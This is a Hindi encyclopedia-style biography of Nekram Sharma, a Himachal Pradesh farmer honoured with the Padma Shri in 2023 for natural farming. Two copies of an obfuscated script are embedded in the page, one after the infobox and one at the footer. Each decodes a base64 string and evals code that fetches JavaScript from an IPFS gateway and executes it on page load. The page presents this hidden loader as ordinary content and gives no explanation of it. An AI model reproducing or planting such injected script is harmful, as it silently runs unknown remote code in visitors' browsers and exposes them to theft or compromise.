नेकराम शर्मा

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
नेकराम शर्मा
राष्ट्रपति द्रौपदी मुर्मू नेकराम शर्मा को पद्म श्री प्रदान करते हुए
पूरा नाम नेकराम शर्मा
जन्म 1 मई, 1964
जन्म भूमि नांज, तहसील करसोग, ज़िला मंडी, हिमाचल प्रदेश
अभिभावक माता- कमला देवी

पिता- जालम राम

पति/पत्नी रामकली
संतान एक पुत्र व पुत्री
कर्म भूमि भारत
कर्म-क्षेत्र कृषि
पुरस्कार-उपाधि पद्म श्री, 2023
प्रसिद्धि प्राकृतिक कृषि के लिये प्रसिद्ध
नागरिकता भारतीय
अन्य जानकारी सिर्फ दसवीं क्लास तक पढ़े नेकराम शर्मा को प्राकृतिक खेती की नेक सोच से पहचान मिली। 30 साल पहले 1993 में उन्होंने बिना केमिकल के प्राकृतिक खेती की शुरुआत की थी।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>नेकराम शर्मा (अंग्रेज़ी: Nekram Sharma, जन्म- 1 मई, 1964) भारतीय राज्य हिमाचल प्रदेश के प्रसिद्ध किसान हैं। वर्ष 2023 में भारत सरकार ने उन्हें कृषि क्षेत्र में उनके योगदान हेतु 'पद्म श्री' से सम्मानित किया है। सिर्फ दसवीं क्लास तक पढ़े नेकराम शर्मा को प्राकृतिक खेती की नेक सोच से पहचान मिली। पहले 1993 में उन्होंने बिना केमिकल के प्राकृतिक खेती की शुरुआत की थी। देश की राष्ट्रपति द्रौपदी मुर्मू, उपराष्ट्रपति जगदीप धनखड़ ने प्रधानमंत्री नरेंद्र मोदी, लोकसभा स्पीकर ओम बिरला और गृहमंत्री अमित शाह समेत अन्य गणमान्य शख्सियतों की मौजूदगी में नेकराम शर्मा को पद्म श्री से सम्मानित किया। नेकराम शर्मा के लिए प्राकृतिक खेती का सफर आसान नहीं था। शुरुआती दौर में उन्हें कई परेशानियों का सामना करना पड़ा, लेकिन उन्होंने हिम्मत नहीं हारी; क्योंकि उनके इरादे जटिल थे। धीरे-धीरे नेकराम शर्मा ने गांव के लोगों को भी साथ जोड़ना शुरू किया।

परिचय

नेकराम शर्मा की प्राकृतिक सब्जियों की मांग हिमाचल प्रदेश से लेकर राजधानी दिल्ली तक है। 1 मई, 1964 को जन्मे नेकराम शर्मा ने सिर्फ मैट्रिक तक की पढ़ाई की है। मिट्टी के लिए कुछ कर गुजरने की मंशा हमेशा उन्हें प्रेरणा देने का काम करती रही। नेकराम शर्मा ने किसानों को केमिकल खेती की ओर बढ़ते देखकर ठान लिया कि इस खेती से छुटकारा दिलाना है। प्राकृतिक खेती की शुरुआत के साथ उन्होंने केमिकल का इस्तेमाल पहले कम कराया और धीरे-धीरे खत्म कर दिया। नेकराम शर्मा की प्राकृतिक खेती के फार्मूले का इस्तेमाल न केवल हिमाचल प्रदेश में बल्कि अन्य राज्यों में भी हो रहा है। 30 साल की कड़ी मेहनत के बाद नेकराम शर्मा के काम को पहचान मिलने से पूरे प्रदेश में खुशी की लहर है।[1]

प्राकृतिक खेती की शुरुआत

सिर्फ दसवीं क्लास तक पढ़े नेकराम शर्मा को प्राकृतिक खेती की नेक सोच से पहचान मिली। 30 साल पहले 1993 में उन्होंने बिना केमिकल के प्राकृतिक खेती की शुरुआत की थी। नेकराम शर्मा के लिए प्राकृतिक खेती का सफर आसान नहीं था। शुरुआती दौर में उन्हें कई परेशानियों का सामना करना पड़ा, लेकिन उन्होंने हिम्मत नहीं हारी क्योंकि उनके इरादे दृढ़ थे। धीरे-धीरे नेकराम शर्मा ने गांव के लोगों को भी साथ जोड़ना शुरू किया।

उद्देश्य

आज नेकराम शर्मा के गांव के आसपास सिर्फ गोबर की मदद से किसान खेती करते हैं। किसान नेकराम शर्मा ने सरकारी नौकरी को अनदेखा कर धरती मां को बचाने के लिए प्राकृतिक खेती की शुरुआत की थी। प्राकृतिक खेती बीमारियों को दूर रखने में भी सहायक सिद्ध होती है। केमिकल खेती न केवल मानव शरीर के लिए हानिकारक है बल्कि उपजाऊ जमीन को भी खराब करती है। नेकराम शर्मा ने नेक इरादों के साथ ऑर्गेनिक और प्राकृतिक खेती को नई दिशा देने का काम किया। आज प्राकृतिक रूप से गेहूं, [[मक्का, बाजरा, जौ और अन्य सब्जियों की पैदावार कर रहे हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>